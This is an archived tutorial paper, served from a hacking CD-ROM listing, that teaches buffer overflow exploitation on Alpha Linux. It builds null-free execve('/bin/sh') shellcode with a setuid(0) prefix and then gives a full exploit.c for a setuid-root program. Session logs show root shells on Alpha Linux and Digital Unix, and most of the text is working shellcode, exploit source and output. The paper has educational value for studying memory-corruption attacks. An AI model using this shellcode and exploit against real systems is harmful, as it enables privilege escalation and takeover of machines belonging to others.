home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / alpha-bof.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  34.2 KB  |  798 lines

  1. -------------------------------------------------------------------------------
  2. -------------------------------------------------------------------------------
  3. -------------------------------------------------------------------------------
  4.  
  5.  Buffer overflow exploit in the alpha linux
  6.  
  7.  
  8.  Written by Taeho Oh ( ohhara@postech.edu )
  9. ----------------------------------------------------------------------------
  10. Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
  11. PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
  12. PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug
  13. ----------------------------------------------------------------------------
  14.  
  15.  
  16. 1. Introduction
  17.  There are many exploit code of buffer overflow. However, almost all codes
  18. works well only in the intel x86 linux. This paper will attempt to explain
  19. how you exploit same bug in the alpha linux.
  20.  
  21. 2. What do you have to know before reading?
  22.  You have to know assembly language, C language, and Linux. Of course, you
  23. have to know what buffer overflow is. You can get the information of the
  24. buffer overflow in phrack 49-14 ( Smashing The Stack For Fun And Profit
  25. by Aleph1 ). It is a wonderful paper of buffer overflow and I highly recommend
  26. you to read that before reading this one.
  27.  
  28. 3. The registers of alpha linux
  29.  You have to know how much registers alpha has to make a shellcode. :)
  30. All registers have 64 bits.
  31.  
  32. Registers of alpha
  33. ----------------------------------------------------------------------------
  34. $0    v0
  35. $1    t0
  36. $2    t1
  37. $3    t2
  38. $4    t3
  39. $5    t4
  40. $6    t5
  41. $7    t6
  42. $8    t7
  43. $9    s0
  44. $10    s1
  45. $11    s2
  46. $12    s3
  47. $13    s4
  48. $14    s5
  49. $15    fp
  50. $16    a0
  51. $17    a1
  52. $18    a2
  53. $19    a3
  54. $20    a4
  55. $21    a5
  56. $22    t8
  57. $23    t9
  58. $24    t10
  59. $25    t11
  60. $26    ra
  61. $27    t12
  62. $28    at
  63. $29    gp
  64. $30    sp
  65. $31    zero
  66. $32    pc
  67. $33    vfp
  68. ----------------------------------------------------------------------------
  69.  
  70. 4. Make a simple shellcode
  71.  Now, you will make a simple shellcode. You need not think about '\0'
  72. character now. Because you can modify and remove '\0' character later.
  73.  
  74. shellcodeasm.c
  75. ----------------------------------------------------------------------------
  76. #include<stdio.h>
  77. main()
  78. {
  79.     char *name[2];
  80.     name[0]="/bin/sh";
  81.     name[1]=NULL;
  82.     execve(name[0],name,NULL);
  83. }
  84. ----------------------------------------------------------------------------
  85.  
  86. compile and disassemble
  87. ----------------------------------------------------------------------------
  88. [ ohhara@ohhara ~ ] {1} $ gcc -o shellcodeasm -static shellcodeasm.c
  89. [ ohhara@ohhara ~ ] {2} $ gdb shellcodeasm
  90. GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
  91. Copyright 1998 Free Software Foundation, Inc.
  92. GDB is free software, covered by the GNU General Public License, and you are
  93. welcome to change it and/or distribute copies of it under certain conditions.
  94. Type "show copying" to see the conditions.
  95. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  96. This GDB was configured as "alpha-redhat-linux"...
  97. (gdb) disassemble main
  98. Dump of assembler code for function main:
  99. 0x1200001e8 <main>:     ldah    gp,18(t12)
  100. 0x1200001ec <main+4>:   lda     gp,30704(gp)
  101. 0x1200001f0 <main+8>:   lda     sp,-32(sp)
  102. 0x1200001f4 <main+12>:  stq     ra,0(sp)
  103. 0x1200001f8 <main+16>:  stq     fp,8(sp)
  104. 0x1200001fc <main+20>:  mov     sp,fp
  105. 0x120000200 <main+24>:  ldq     t0,-30952(gp)
  106. 0x120000204 <main+28>:  stq     t0,16(fp)
  107. 0x120000208 <main+32>:  stq     zero,24(fp)
  108. 0x12000020c <main+36>:  ldq     a0,16(fp)
  109. 0x120000210 <main+40>:  addq    fp,0x10,a1
  110. 0x120000214 <main+44>:  clr     a2
  111. 0x120000218 <main+48>:  ldq     t12,-32456(gp)
  112. 0x12000021c <main+52>:  jsr     ra,(t12),0x120007180 <__execve>
  113. 0x120000220 <main+56>:  ldah    gp,18(ra)
  114. 0x120000224 <main+60>:  lda     gp,30648(gp)
  115. 0x120000228 <main+64>:  mov     fp,sp
  116. 0x12000022c <main+68>:  ldq     ra,0(sp)
  117. 0x120000230 <main+72>:  ldq     fp,8(sp)
  118. 0x120000234 <main+76>:  addq    sp,0x20,sp
  119. 0x120000238 <main+80>:  ret     zero,(ra),0x1
  120. End of assembler dump.
  121. (gdb) disassemble execve
  122. Dump of assembler code for function __execve:
  123. 0x120007180 <__execve>: lda     v0,59(zero)
  124. 0x120007184 <__execve+4>:       callsys
  125. 0x120007188 <__execve+8>:       bne     a3,0x120007190 <__execve+16>
  126. 0x12000718c <__execve+12>:      ret     zero,(ra),0x1
  127. 0x120007190 <__execve+16>:      br      gp,0x120007194 <__execve+20>
  128. 0x120007194 <__execve+20>:      ldah    gp,18(gp)
  129. 0x120007198 <__execve+24>:      lda     gp,2116(gp)
  130. 0x12000719c <__execve+28>:      ldq     t12,-31592(gp)
  131. 0x1200071a0 <__execve+32>:
  132.     jmp zero,(t12),0x120007738 <__syscall_error>
  133. End of assembler dump.
  134. (gdb)
  135. ----------------------------------------------------------------------------
  136.  
  137.  Now, you can know the condition to execute the "/bin/sh".
  138.  
  139. To execute "/bin/sh"
  140. ----------------------------------------------------------------------------
  141. a0($16) = The address of "/bin/sh\0"
  142. a1($17) = The address of the address of "/bin/sh\0"
  143. a2($18) = 0
  144. v0($0) = 59
  145. callsys
  146. ----------------------------------------------------------------------------
  147.  
  148.  With this information, you can make a shellcode very easily.
  149.  
  150. testsc1.c
  151. ----------------------------------------------------------------------------
  152. char shellcode[]=
  153.     "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
  154.     "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
  155.     "\x12\x04\xff\x47"      /* clr $18                      */
  156.     "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
  157.     "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
  158.     "\x68\x00\x7f\x26"      /* ldah $19,0x0068($31)         */
  159.     "\x2f\x73\x73\x22"      /* lda $19,0x732f($19)          */
  160.     "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
  161.     "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
  162.     "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
  163.     "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
  164.     "\x3b\x00\x1f\x20"      /* lda $0,59($31)               */
  165.     "\x83\x00\x00\x00";     /* callsys                      */
  166.  
  167. typedef void (*F)();
  168.  
  169. main()
  170. {
  171.     F fp;
  172.     fp=(F)(&shellcode);
  173.     fp();
  174. }
  175. ----------------------------------------------------------------------------
  176.  
  177.  You may be frightened at the code. Don't worry. There is a line by line
  178. explanation. :)
  179.  
  180. testsc1.c shellcode line by line explanation
  181. ----------------------------------------------------------------------------
  182. char shellcode[]=
  183.  
  184.     "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
  185.     /* $16 = $30 - 200                                      */
  186.     /* $30 is stack pointer. To point "/bin/sh\0",          */
  187.     /* shellcode needs free memory space. $30 - 200 may be  */
  188.     /* free. :) "/bin/sh\0" character string will be stored */
  189.     /* in the $30 - 200 address. To execute "/bin/sh", $16  */
  190.     /* have to point to "/bin/sh\0"                         */
  191.     /* The 'q' of the 'subq' means 64 bit.                  */
  192.  
  193.     "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
  194.     /* $17 = $30 - 192                                      */
  195.     /* To execute "/bin/sh", $17 have to point to the       */
  196.     /* address of "/bin/sh\0". The address of "/bin/sh\0"   */
  197.     /* will be stored in the $30 - 192 address.             */
  198.  
  199.     "\x12\x04\xff\x47"      /* clr $18                      */
  200.     /* Clear $18 register. To execute "/bin/sh" $18         */
  201.     /* register must be 0.                                  */
  202.  
  203.     "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
  204.     /* Store the address of "/bin/sh\0" in the $30 - 192    */
  205.     /* address.                                             */
  206.  
  207.     "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
  208.     /* Make 0 in the address of $30 - 184.                  */
  209.  
  210.     "\x68\x00\x7f\x26"      /* ldah $19,0x0068($31)         */
  211.     /* $19 = 0x00680000                                     */
  212.     /* $31 is always 0                                      */
  213.  
  214.     "\x2f\x73\x73\x22"      /* lda $19,0x732f($19)          */
  215.     /* $19 = 0x0068732f                                     */
  216.     /* $19 = "/sh\0"                                        */
  217.     /* Because alpha is little endian.                      */
  218.  
  219.     "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
  220.     /* Store $19 in $30 - 196 address.                      */
  221.     /* $30 - 196 = "/sh\0"                                  */
  222.     /* The 'l' of the 'stl' means 32 bit                    */
  223.  
  224.     "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
  225.     /* $19 = 0x6e690000                                     */
  226.  
  227.     "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
  228.     /* $19 = 0x6e69622f                                     */
  229.     /* $19 = "/bin"                                         */
  230.  
  231.     "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
  232.     /* Store $19 in $30 - 200 address.                      */
  233.     /* $30 - 200 = "/bin"                                   */
  234.  
  235.     "\x3b\x00\x1f\x20"      /* lda $0,59($31)               */
  236.     /* $0 = 59                                              */
  237.     /* To execute "/bin/sh" $0 must be 59                   */
  238.  
  239.     "\x83\x00\x00\x00";     /* callsys                      */
  240.     /* System call                                          */
  241.     /* Execute "/bin/sh"                                    */
  242. ----------------------------------------------------------------------------
  243.  
  244. compile and execute testsc1.c
  245. ----------------------------------------------------------------------------
  246. [ ohhara@ohhara ~ ] {1} $ gcc testsc1.c -o testsc1
  247. [ ohhara@ohhara ~ ] {2} $ ./testsc1
  248. bash$
  249. ----------------------------------------------------------------------------
  250.  
  251.  Now, you have a shellcode of alpha linux. However, you can't use it to exploit
  252. the vulnerable programs. Because the shellcode has many '\0' characters.
  253. You have to remove all of '\0' character to use buffer overflow exploit.
  254.  
  255. 5. Try to remove '\0' character in the shellcode
  256.  
  257.  You can remove '\0' characters by changing the instructions to other
  258. instructions which works same.
  259.  
  260. remove '\0' character
  261. ----------------------------------------------------------------------------
  262. from
  263.  
  264. "\x68\x00\x7f\x26"      /* ldah $19,0x0068($31)         */
  265. "\x2f\x73\x73\x22"      /* lda $19,0x732f($19)          */
  266.  
  267. to
  268.  
  269. "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
  270. "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
  271. "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
  272. ----------------------------------------------------------------------------
  273.  
  274.  One '\0' is removed.
  275.  
  276. ----------------------------------------------------------------------------
  277. from
  278.  
  279. "\x3b\x00\x1f\x20"      /* lda $0,59($31)               */
  280.  
  281. to
  282.  
  283. "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
  284. "\x20\x35\x60\x42"      /* subq $19,1,$0                */
  285. ----------------------------------------------------------------------------
  286.  
  287.  Two '\0' are removed.
  288.  
  289. improved shellcode
  290. ----------------------------------------------------------------------------
  291. char shellcode[]=
  292.     "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
  293.     "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
  294.     "\x12\x04\xff\x47"      /* clr $18                      */
  295.     "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
  296.     "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
  297.     "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
  298.     "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
  299.     "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
  300.     "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
  301.     "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
  302.     "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
  303.     "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
  304.     "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
  305.     "\x20\x35\x60\x42"      /* subq $19,1,$0                */
  306.     "\x83\x00\x00\x00";     /* callsys                      */
  307. ----------------------------------------------------------------------------
  308.  
  309. compile and execute testsc2.c
  310. ----------------------------------------------------------------------------
  311. [ ohhara@ohhara ~ ] {1} $ gcc testsc2.c -o testsc2
  312. [ ohhara@ohhara ~ ] {2} $ ./testsc2
  313. bash$
  314. ----------------------------------------------------------------------------
  315.  
  316.  You have only one instruction to remove, now. But it's difficult to remove.
  317. Because callsys insturction must be used to execute "/bin/sh" and callsys
  318. contains three '\0' characters. You have to insert the code which modifies the
  319. shellcode itself to use callsys instruction.
  320.  
  321. 6. Try to remove ALL '\0' character in the shellcode
  322.  
  323.  You have to remove '\0' character of callsys instruction.
  324.  
  325. final shellcode
  326. ----------------------------------------------------------------------------
  327. char shellcode[]=
  328.     "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
  329.     /* $16 = $30 - 200
  330.     /* $16 must have the shellcode address. However, before */
  331.     /* the bsr instruction, $16 can't have the address.     */
  332.     /* This instruction just store the meaningless address. */
  333.     /* The all instruction before bsr are meaningless.      */
  334.  
  335.     "\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
  336.     /* $17 = 0 or 0x83                                      */
  337.     /* $17 = 0x83                                           */
  338.  
  339.     "\x12\x94\x07\x42"      /* addq $16,60,$18              */
  340.     "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
  341.     /* $17("\x83\x00\x00\x00") is stored in $16 + 60 - 4    */
  342.     /* address.                                             */
  343.     /* ( "\xff\xff\xff\xff" -> "\x83\x00\x00\x00" )         */
  344.  
  345.     "\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
  346.     "\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
  347.     /* $17 = "\x1f\x04\xff\x47"                             */
  348.     /* "\x1f\x04\xff\x47" is nop instruction.               */
  349.  
  350.     "\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
  351.     /* change "bsr $16,-28" instruction" into nop           */
  352.     /* instruction to pass through the bsr instruction.     */
  353.     /* ( "\xf9\xff\x1f\xd2" -> "\x1f\x04\xff\x47" )         */
  354.  
  355.     "\xf9\xff\x1f\xd2"      /* bsr $16,-28                  */
  356.     /* Jump to "bis $31,0x83,$17" and store the current     */
  357.     /* address in the $16.                                  */
  358.     /* After jump, this insturction will be changed into    */
  359.     /* nop instruction.                                     */
  360.  
  361.     "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
  362.     "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
  363.     "\x12\x04\xff\x47"      /* clr $18                      */
  364.     "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
  365.     "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
  366.     "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
  367.     "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
  368.     "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
  369.     "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
  370.     "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
  371.     "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
  372.     "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
  373.     "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
  374.     "\x20\x35\x60\x42"      /* subq $19,1,$0                */
  375.  
  376.     "\xff\xff\xff\xff";     /* callsys ( disguised )        */
  377.     /* This will be changed to "\x83\x00\x00\x00"           */
  378. ----------------------------------------------------------------------------
  379.  
  380. compile and execute testsc3.c
  381. ----------------------------------------------------------------------------
  382. [ ohhara@ohhara ~ ] {1} $ gcc testsc3.c -o testsc3
  383. [ ohhara@ohhara ~ ] {2} $ ./testsc3
  384. bash$
  385. ----------------------------------------------------------------------------
  386.  
  387. 7. Insert setuid(0) code in the shellcode.
  388.  
  389.  You may not get the rootshell with your shellcode by overflowing the
  390. vulnerable setuid root program. You have to insert setuid(0) code into the
  391. shellcode.
  392.  
  393. setuidasm.c
  394. ----------------------------------------------------------------------------
  395. main()
  396. {
  397.     setuid(0);
  398. }
  399. ----------------------------------------------------------------------------
  400.  
  401. compile and disassemble
  402. ----------------------------------------------------------------------------
  403. [ ohhara@ohhara ~ ] {1} $ gcc -o setuidasm -static setuidasm.c
  404. [ ohhara@ohhara ~ ] {2} $ gdb setuidasm
  405. GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
  406. Copyright 1998 Free Software Foundation, Inc.
  407. GDB is free software, covered by the GNU General Public License, and you are
  408. welcome to change it and/or distribute copies of it under certain conditions.
  409. Type "show copying" to see the conditions.
  410. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  411. This GDB was configured as "alpha-redhat-linux"...
  412. (gdb) disassemble main
  413. Dump of assembler code for function main:
  414. 0x1200001e8 <main>:     ldah    gp,18(t12)
  415. 0x1200001ec <main+4>:   lda     gp,30696(gp)
  416. 0x1200001f0 <main+8>:   lda     sp,-16(sp)
  417. 0x1200001f4 <main+12>:  stq     ra,0(sp)
  418. 0x1200001f8 <main+16>:  stq     fp,8(sp)
  419. 0x1200001fc <main+20>:  mov     sp,fp
  420. 0x120000200 <main+24>:  clr     a0
  421. 0x120000204 <main+28>:  ldq     t12,-31056(gp)
  422. 0x120000208 <main+32>:  jsr     ra,(t12),0x120007180 <__setuid>
  423. 0x12000020c <main+36>:  ldah    gp,18(ra)
  424. 0x120000210 <main+40>:  lda     gp,30660(gp)
  425. 0x120000214 <main+44>:  mov     fp,sp
  426. 0x120000218 <main+48>:  ldq     ra,0(sp)
  427. 0x12000021c <main+52>:  ldq     fp,8(sp)
  428. 0x120000220 <main+56>:  addq    sp,0x10,sp
  429. 0x120000224 <main+60>:  ret     zero,(ra),0x1
  430. End of assembler dump.
  431. (gdb) disassemble setuid
  432. Dump of assembler code for function __setuid:
  433. 0x120007180 <__setuid>: lda     v0,23(zero)
  434. 0x120007184 <__setuid+4>:       callsys
  435. 0x120007188 <__setuid+8>:       bne     a3,0x120007190 <__setuid+16>
  436. 0x12000718c <__setuid+12>:      ret     zero,(ra),0x1
  437. 0x120007190 <__setuid+16>:      br      gp,0x120007194 <__setuid+20>
  438. 0x120007194 <__setuid+20>:      ldah    gp,18(gp)
  439. 0x120007198 <__setuid+24>:      lda     gp,2108(gp)
  440. 0x12000719c <__setuid+28>:      ldq     t12,-31600(gp)
  441. 0x1200071a0 <__setuid+32>:
  442.     jmp zero,(t12),0x120007738 <__syscall_error>
  443. End of assembler dump.
  444. (gdb)
  445. ----------------------------------------------------------------------------
  446.  
  447.  Now, you can know the condition to setuid(0).
  448.  
  449. To setuid(0)
  450. ----------------------------------------------------------------------------
  451. a0($16) = 0
  452. v0($0) = 23
  453. callsys
  454. ----------------------------------------------------------------------------
  455.  
  456.  This contains callsys instruction. So you have to remove '\0' of the setuid(0)
  457. code, too.
  458.  
  459. testsc4.c
  460. ----------------------------------------------------------------------------
  461. char shellcode[]=
  462.     "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
  463.     "\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
  464.     "\x12\x14\x02\x42"      /* addq $16,16,$18              */
  465.     "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
  466.     "\x12\x94\x09\x42"      /* addq $16,76,$18              */
  467.     "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
  468.     "\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
  469.     "\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
  470.     "\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
  471.     "\xf7\xff\x1f\xd2"      /* bsr $16,-32                  */
  472.     "\x10\x04\xff\x47"      /* clr $16                      */
  473.     "\x11\x14\xe3\x43"      /* addq $31,24,$17              */
  474.     "\x20\x35\x20\x42"      /* subq $17,1,$0                */
  475.     "\xff\xff\xff\xff"      /* callsys ( disguised )        */
  476.     "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
  477.     "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
  478.     "\x12\x04\xff\x47"      /* clr $18                      */
  479.     "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
  480.     "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
  481.     "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
  482.     "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
  483.     "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
  484.     "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
  485.     "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
  486.     "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
  487.     "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
  488.     "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
  489.     "\x20\x35\x60\x42"      /* subq $19,1,$0                */
  490.     "\xff\xff\xff\xff";     /* callsys ( disguised )        */
  491.  
  492. typedef void (*F)();
  493.  
  494. main()
  495. {
  496.     F fp;
  497.     fp=(F)(&shellcode);
  498.     fp();
  499. }
  500. ----------------------------------------------------------------------------
  501.  
  502.  If you read this paper, you can recognize what testsc4.c do. :)
  503.  
  504. compile and execute testsc4.c
  505. ----------------------------------------------------------------------------
  506. [ ohhara@ohhara ~ ] {1} $ gcc testsc4.c -o testsc4
  507. [ ohhara@ohhara ~ ] {2} $ ./testsc4
  508. bash$
  509. ----------------------------------------------------------------------------
  510.  
  511. 8. Exploit a vulnerable setuid root program
  512.  
  513.  You can exploit a classic vulnernable program in the alpha linux. This
  514. is an example.
  515.  
  516. vulnerable.c
  517. ----------------------------------------------------------------------------
  518. #include<stdio.h>
  519. #include<string.h>
  520.  
  521. void vulfunc(char *buf)
  522. {
  523.     char localbuf[1024];
  524.     strcpy(localbuf+1,buf);
  525. }
  526.  
  527. main(int argc,char **argv)
  528. {
  529.     if(argc>1)
  530.         vulfunc(argv[1]);
  531. }
  532. ----------------------------------------------------------------------------
  533.  
  534.  You can't change the return address of the vulfunc function. When you try
  535. to overflow the localbuf of vulfunc, you can change the return address of
  536. the main function. ( It's similar to the stack of the sparc. )
  537. Because the localbuf is stored after the vulfunc return address. The intel
  538. x86 is that localbuf is stored before the vulfunc return address.
  539. Therefore, by overflowing localbuf in the intel x86, localbuf can change
  540. the return address of vulfunc function. However, in the alpha, localbuf can't
  541. change the return address of vulfunc function and can change the return address
  542. of the main function.
  543.  
  544.  To execute the instruction, the code must be well aligned. For example,
  545. the instruction can be located in 0x120000000 and 0x120000004 and can't be
  546. located in 0x120000001, 0x120000002, and 0x120000003. ( step by 4 )
  547.  
  548.  The address of alpha is 64 bit. Almost all cases, the address of stack
  549. is looks like 0x000000011fffff24. The address has many '\0' characters.
  550. Therefore, you can't insert many return addresses in the buffer. You must
  551. insert only one. So you must know the location of the return address exactly.
  552. It's not difficult to find that. Because the location of the return address
  553. is decided at the compile time.
  554.  
  555. exploit.c 
  556. ----------------------------------------------------------------------------
  557. #include<stdio.h>
  558. #include<string.h>
  559.  
  560. #define OFFSET                            0
  561. #define ALIGN                             3     /* 0, 1, 2, 3           */
  562. #define RET_POSITION                   1028     /* 0, 4, 8, 12, . . .   */
  563. #define NOP              "\x1f\x04\xff\x47"           
  564.  
  565. char shellcode[]=
  566.     "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
  567.     "\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
  568.     "\x12\x14\x02\x42"      /* addq $16,16,$18              */
  569.     "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
  570.     "\x12\x94\x09\x42"      /* addq $16,76,$18              */
  571.     "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
  572.     "\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
  573.     "\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
  574.     "\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
  575.     "\xf7\xff\x1f\xd2"      /* bsr $16,-32                  */
  576.     "\x10\x04\xff\x47"      /* clr $16                      */
  577.     "\x11\x14\xe3\x43"      /* addq $31,24,$17              */
  578.     "\x20\x35\x20\x42"      /* subq $17,1,$0                */
  579.     "\xff\xff\xff\xff"      /* callsys ( disguised )        */
  580.     "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
  581.     "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
  582.     "\x12\x04\xff\x47"      /* clr $18                      */
  583.     "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
  584.     "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
  585.     "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
  586.     "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
  587.     "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
  588.     "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
  589.     "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
  590.     "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
  591.     "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
  592.     "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
  593.     "\x20\x35\x60\x42"      /* subq $19,1,$0                */
  594.     "\xff\xff\xff\xff";     /* callsys ( disguised )        */
  595.  
  596. unsigned long get_sp(void)
  597. {
  598.     __asm__("bis $31,$30,$0");
  599. }
  600.  
  601. int main(int argc,char **argv)
  602. {
  603.     char buff[RET_POSITION+8+ALIGN+1],*ptr;
  604.     char *nop;
  605.     int offset=OFFSET,bsize=RET_POSITION+8+ALIGN+1;
  606.     unsigned long sp,addr;
  607.     int i;
  608.  
  609.     if(argc>1)
  610.         offset=atoi(argv[1]);
  611.  
  612.     nop=NOP;
  613.  
  614.     for(i=0;i<bsize;i++)
  615.         buff[i]='a';
  616.  
  617.     for(i=0;i<bsize;i++)
  618.         buff[i+ALIGN]=nop[i%4];
  619.  
  620.     sp=get_sp();
  621.     addr=sp-offset;
  622.  
  623.     ptr=buff+bsize-strlen(shellcode)-8-1;
  624.     for(i=0;i<strlen(shellcode);i++)
  625.         *(ptr++)=shellcode[i];
  626.  
  627.     buff[RET_POSITION+ALIGN]=(addr&0x00000000000000ff);
  628.     buff[RET_POSITION+ALIGN+1]=(addr&0x000000000000ff00)>>8;
  629.     buff[RET_POSITION+ALIGN+2]=(addr&0x0000000000ff0000)>>16;
  630.     buff[RET_POSITION+ALIGN+3]=(addr&0x00000000ff000000)>>24;
  631.     buff[RET_POSITION+ALIGN+4]=(addr&0x000000ff00000000)>>32;
  632.     buff[RET_POSITION+ALIGN+5]=(addr&0x0000ff0000000000)>>40;
  633.     buff[RET_POSITION+ALIGN+6]=(addr&0x00ff000000000000)>>48;
  634.     buff[RET_POSITION+ALIGN+7]=(addr&0xff00000000000000)>>56;
  635.  
  636.     buff[bsize-1]='\0';
  637.  
  638.     printf("Jump to 0x%016x\n",addr);
  639.     
  640.     execl("./vulnerable","vulnerable",buff,NULL);
  641. }
  642. ----------------------------------------------------------------------------
  643.  
  644. exploit the vulnerable program in the alpha linux
  645. ----------------------------------------------------------------------------
  646. [ ohhara@ohhara ~ ] {1} $ uname -a
  647. Linux ohhara.postech.ac.kr 2.0.35 #11 Mon Oct 19 22:58:15 EDT 1998 alpha unknown
  648. [ ohhara@ohhara ~ ] {2} $ ls -l vulnerable
  649. -rwsr-xr-x   1 root     root        13906 Nov 13 14:55 vulnerable*
  650. [ ohhara@ohhara ~ ] {3} $ ls -l exploit
  651. -rwxrwxr-x   1 ohhara   ohhara      15541 Nov 13 18:22 exploit*
  652. [ ohhara@ohhara ~ ] {4} $ ./exploit
  653. Jump to 0x000000001ffff6c8
  654. Illegal instruction
  655. [ ohhara@ohhara ~ ] {5} $ ./exploit 400
  656. Jump to 0x000000001ffff530
  657. bash# whoami
  658. root
  659. bash#
  660. ----------------------------------------------------------------------------
  661.  
  662. exploit the vulnerable program in the digital unix ( same source files )
  663. ----------------------------------------------------------------------------
  664. [ ohhara@ohhara ~ ] {1} $ uname -a
  665. OSF1 monsky.postech.ac.kr V4.0 464 alpha
  666. [ ohhara@ohhara ~ ] {2} $ ls -l vulnerable
  667. -rwsr-xr-x   1 root     system     24576 Nov 13 20:31 vulnerable*
  668. [ ohhara@ohhara ~ ] {3} $ ls -l exploit
  669. -rwxr-xr-x   1 ohhara   system     24576 Nov 13 20:31 exploit*
  670. [ ohhara@ohhara ~ ] {4} $ ./exploit
  671. Jump to 0x000000001ffff030
  672. # whoami
  673. root
  674. #
  675. ----------------------------------------------------------------------------
  676.  
  677. the buffer overflow data
  678. ----------------------------------------------------------------------------
  679.     0  61 61 61 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      aaa...G...G...G.
  680.    16  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  681.    32  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  682.    48  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  683.    64  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
  684.    80  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
